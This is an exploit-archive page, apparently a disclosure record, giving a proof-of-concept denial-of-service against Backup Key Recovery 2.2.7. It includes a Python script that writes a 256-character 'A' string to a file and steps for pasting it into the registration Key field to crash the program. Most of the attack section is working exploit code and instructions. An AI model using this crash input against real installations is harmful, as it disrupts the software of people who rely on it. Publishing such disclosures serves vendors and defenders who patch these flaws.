Backup Key Recovery 2.2.7 Denial Of Service

2021.06.08

Credit: Erick Galindo

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

# Exploit Title: Backup Key Recovery 2.2.7 - Denial of Service (PoC)
# Date: 07/06/2021
# Author: Erick Galindo 
# Vendor Homepage: http://www.nsauditor.com
# Software http://www.nsauditor.com/downloads/backeyrecovery_setup.exe
# Version: 2.2.7.0
# Tested on: Windows 10 Pro x64 es

# Proof of Concept:
#1.- Copy printed "AAAAA..." string to clipboard!
#2.- Open BackupKeyRecovery.exe
#3.- Go to Register > Enter Registration Code...
#4.- Write anything in 'Name' field
#5.- Paste clipboard in 'Key' field
#6.- Click on button -> Ok

buffer = "\x41" * 256

f = open ("poc.txt", "w")
f.write(buffer)
f.close()

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Backup Key Recovery 2.2.7 Denial Of Service

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.